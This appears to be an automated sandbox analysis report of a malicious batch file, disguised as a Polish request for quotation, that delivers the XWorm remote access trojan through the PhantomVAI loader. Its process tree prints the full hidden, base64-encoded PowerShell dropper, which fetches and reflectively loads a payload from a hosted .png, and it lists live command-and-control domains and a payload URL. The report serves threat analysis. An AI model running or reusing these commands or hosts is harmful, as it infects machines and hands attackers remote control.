Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250502-en
  • resource tags

    arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06/11/2025, 08:10

General

  • Target
    Zapytanie_ofertowe_74000918_APSTEEL_Sp. z o.o.bat
  • Size 9KB
  • Sample251106-j2wr2aypgx
  • SHA256 0408a0ee74343b9fb9f0e4d28cdb19ba22f7eb17cfc008380067cd4efe720f0a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://ia600407.us.archive.org/7/items/msi-pro-with-b-64_202511/MSI_PRO_with_b64.png

  • exe.dropper

    http://ia600407.us.archive.org/7/items/msi-pro-with-b-64_202511/MSI_PRO_with_b64.png

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • manythingsilove.duckdns.org:5290

  • plentymattersub.duckdns.org:5290

  • pradaguccimaneto.freeddns.org:5290

Mutex
  • Egm5U9a14KHYpNTL

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Detects PhantomVAI loader aka VMDetectLoader, CaminhoLoader 1 IoCs
  • PhantomVAI, VMDetectLoader, CaminhoLoader

    PhantomVAI, aka VMDetectLoader, CaminhoLoader, is a loader delivering a wide variety of infostealers.

  • Phantomvai family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Zapytanie_ofertowe_74000918_APSTEEL_Sp. z o.o.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2364
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$nontyphoidal = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVybCA9ICdodHRwOi8vaWE2MDA0MDcudXMuYXJjaGl2ZS5vcmcvNy9pdGVtcy9tc2ktcHJvLXdpdGgtYi02NF8yMDI1MTEvTVNJX1BST193aXRoX2I2NC5wbmcnOyRieXRlcyA9IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkRGF0YSgkdXJsKTskdGV4dCAgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJGJ5dGVzKTtpZiAoJHRleHQgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpO1tDbGFzc0xpYnJhcnkxLkNsYXNzMV06OlZBSSgnPT1BZDRSbkx4QURNMElUTTFBVE14VWpNd0l6WHZaWGExRm5jaDlTYnZObUx3VjNieWQyY3U5MmN2OXlMNk1IYzBSSGEnLCcwJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdjYXNQb2wnLCcnLCdjYXNQb2wnLCcxJywnVVJMJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdiYXQnLCcxJywnMCcsJ1Rhc2tfTmFtZScsJzAnLCcnLCcnLCcnKTt9')); Invoke-Expression $nontyphoidal"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5856
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\casPol.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\casPol.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3380
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5648
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.bat'; Start-Process 'C:\Users\Public\Downloads\\Name_File.bat' -WindowStyle Hidden"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:796
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.bat'; Start-Process 'C:\Users\Public\Downloads\\Name_File.bat' -WindowStyle Hidden"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2312

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 37b6b80af283174c508fcb8a5faa0854ba1ab2add391502bbd8e81c18df0ad4d
        • MD5 SHA1 SHA512

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 62KB
        • SHA256 b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 19083c88f2c4839dcdb4310885049575db65745d7713e7a432dc9be75365f9a1
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 11f069e14e399ee1b5bc5e0ca2bc31cffbdca39fb9759d4c019e435361d37c74
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_jnwrfudo.3b1.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jnwrfudo.3b1.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/796-46-0x0000026C7B060000-0x0000026C7BB22000-memory.dmp

        memory/2312-61-0x000001F8E71B0000-0x000001F8E7C72000-memory.dmp

        memory/3380-28-0x0000000005620000-0x0000000005630000-memory.dmp

        memory/3380-30-0x0000000006370000-0x0000000006402000-memory.dmp

        memory/3380-16-0x0000000005360000-0x00000000053FC000-memory.dmp

        memory/3380-12-0x0000000000400000-0x000000000040E000-memory.dmp

        memory/3380-31-0x00000000069C0000-0x0000000006F66000-memory.dmp

        memory/3380-25-0x0000000005620000-0x0000000005630000-memory.dmp

        memory/3380-26-0x0000000005A30000-0x0000000005A96000-memory.dmp

        memory/5648-32-0x000002082EA50000-0x000002082F512000-memory.dmp

        memory/5648-49-0x000002082EA50000-0x000002082F512000-memory.dmp

        memory/5648-63-0x000002082EA50000-0x000002082F512000-memory.dmp

        memory/5648-24-0x0000020847C80000-0x0000020847CC6000-memory.dmp

        memory/5648-27-0x000002082EA50000-0x000002082F512000-memory.dmp

        memory/5648-33-0x000002082EA50000-0x000002082F512000-memory.dmp

        memory/5648-34-0x000002082EA50000-0x000002082F512000-memory.dmp

        memory/5648-36-0x000002082EA50000-0x000002082F512000-memory.dmp

        memory/5648-59-0x000002082EA50000-0x000002082F512000-memory.dmp

        memory/5856-15-0x00000271F8740000-0x00000271F9202000-memory.dmp

        memory/5856-9-0x00000271F8740000-0x00000271F9202000-memory.dmp

        memory/5856-10-0x00000271F8740000-0x00000271F9202000-memory.dmp

        memory/5856-8-0x00000271F8740000-0x00000271F9202000-memory.dmp

        memory/5856-11-0x00000271F9AD0000-0x00000271F9BB2000-memory.dmp

        memory/5856-7-0x00000271F95B0000-0x00000271F95D2000-memory.dmp

        memory/5856-0-0x00000271F8F0A000-0x00000271F8F0B000-memory.dmp